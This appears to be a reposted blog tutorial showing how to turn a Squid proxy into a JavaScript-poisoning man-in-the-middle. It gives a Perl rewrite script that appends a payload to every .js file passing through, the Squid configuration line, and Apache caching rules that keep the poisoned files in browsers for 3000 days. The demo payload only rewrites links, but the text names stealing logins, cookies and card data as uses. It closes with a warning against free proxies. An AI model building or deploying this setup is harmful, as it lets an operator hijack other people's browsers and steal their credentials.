because it's an easy way to infect thousands of users and collect their data。
I recently stumbled across a presentation of Chema Alonso from the Defcon 20 Conference where he was talking about how he created a Javascript botnet from scratch and how he used it to find scammers and hackers.Everything is done via a stock SQUID proxy with small config changes.
The idea is pretty simple:
- [Server] Install Squid on a linux server
- [Payload] Modify the server so all transmitted javascript files will get one extra piece of code that does things like send all data entered in forms to your server
- [Cache] Set the caching time of the modified .js files as high as possible
What's the worst thing that could happen?
When someone can force you to load an infected .js file, they can- Steal your login info of the sites you visit (from login forms or cookies)
- Steal your banking account info/credit card
- Force you to participate in DDoS attacks by telling you browser to load a website a few hundred times a second via iframe/script request
- basically see everything you're doing on the web (including reading mouse positions, etc.)
https
This technique also works with https if the site loads unsafe resources (eg. jquery from a http site). Most browsers will tell you that, some might even block the content but usually nobody gives attention to the "lock" symbol.To put it simple
- Safe:
- Unsafe:
I was wondering if it really is that simple so I took a VM running Debian and tried implementing the concept myself
Make your own js infecting proxy
I assume that you have a squid proxy running and also you'll need a webserver like Apache using /var/www as web root directory (which is the default)Step 1: Create a payload
For the payload I'll use a simple script that takes all links of a webpage and rewrites the href (link) attribute to my site./etc/squid/payload.js
for(var i=0;i<document.getElementsByTagName('a').length;i++)
document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
Step 2: Write the script that poisons all requested .js files
/etc/squid/poison.pl#!/usr/bin/perl
$|=1;
$count = 0;
$pid = $$;
while(<>)
{
chomp $_;
if($_ =- /(.*\.js)/i)
{
$url = $1;
system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
system("chmod o+r /var/www/tmp/$pid-$count.js");
system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");
print "http://127.0.0.1:80/tmp/$pid-$count.js\n";
}
else
{
print "$_\n";
}
$count++;
}
This script uses
wget to retrieve the original javascript file of the page the client
asked for and adds the code from the /etc/squid/payload.js file to it.
This modified file (which contains our payload now) will be sent to the
client.
You'll also have to create the folder /var/www/tmp and allow squid to
write files in it. This folder is where all modified js scripts will be
stored.Step 3: Tell Squid to use the script above
in /etc/squid/squid.conf addurl_rewrite_program /etc/squid/poison.pl
Step 4: Never let the cache expire
/var/www/tmp/.htaccessExpiresActive On
ExpiresDefault "access plus 3000 days"
These lines tell the apache server to give it an insanely long
expiration(caching) time so it will be in the browser of the user until
they're cleaning their cookies/cachesOne more restart of squid and you're good to go. If you're connecting to the proxy and try to surf on any webpage, the page will be displayed as expected but all links will lead to this blog. The sneaky thing about this technique is that even when somebody disconnects from the proxy the cached js files will most likely be still in their caches.
In my example the payload does nothing too destructive and the user will know pretty fast that something is fishy but with creative payloads or Frameworks like Beef all sorts of things could be implemented. Tell your friends never to use free proxies because many hosts do things like that.
Be safe on the web (but IT'S not safe with free proxies)
from https://blog.haschek.at/post/fd9bc